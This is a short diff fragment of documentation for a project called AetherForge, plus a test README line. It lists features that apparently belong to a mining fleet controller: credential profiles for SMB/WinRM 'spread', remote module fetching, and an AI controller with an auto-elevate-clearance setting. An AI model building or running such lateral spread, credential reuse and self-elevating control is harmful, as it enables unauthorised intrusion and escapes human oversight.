+          <li><strong>Adaptive strategy</strong> — <code>adaptive_strategy_enabled</code> (default on); mining tier personalization from fleet outcomes</li>
+          <li><strong>AI Control</strong> — <code>ai_control_enabled</code>, <code>ai_endpoint</code>, <code>ai_model</code>, <code>ai_persona</code>, <code>ai_decision_interval_sec</code>, <code>ai_auto_elevate_clearance</code></li>
+          <li><strong>Deployment credentials</strong> — named profiles in <code>config.json</code> + vault files under <code>data/deployment-creds/</code> for SMB/WinRM spread</li>
           <li><strong>Staged Modules</strong> — <code>POST /api/v1/fleet/modules/push</code> queues <code>fetch_module</code> for Crucible Ops / Spread / GPU packs</li>
           <li>Manifests in <code>data/modules/*.json</code> — HMAC-signed with fleet secret</li>
         </ul>

tests/README.md

@@ -1,5 +1,7 @@
 # AetherForge Test Suite
 
+**Current Vitest:** 732 tests in 87 files (`cd server/web && npm run test -- --run`). Full suite: `test.bat` → `scripts/test-suite.ps1`.
+
 One command runs everything:
 
 ```bat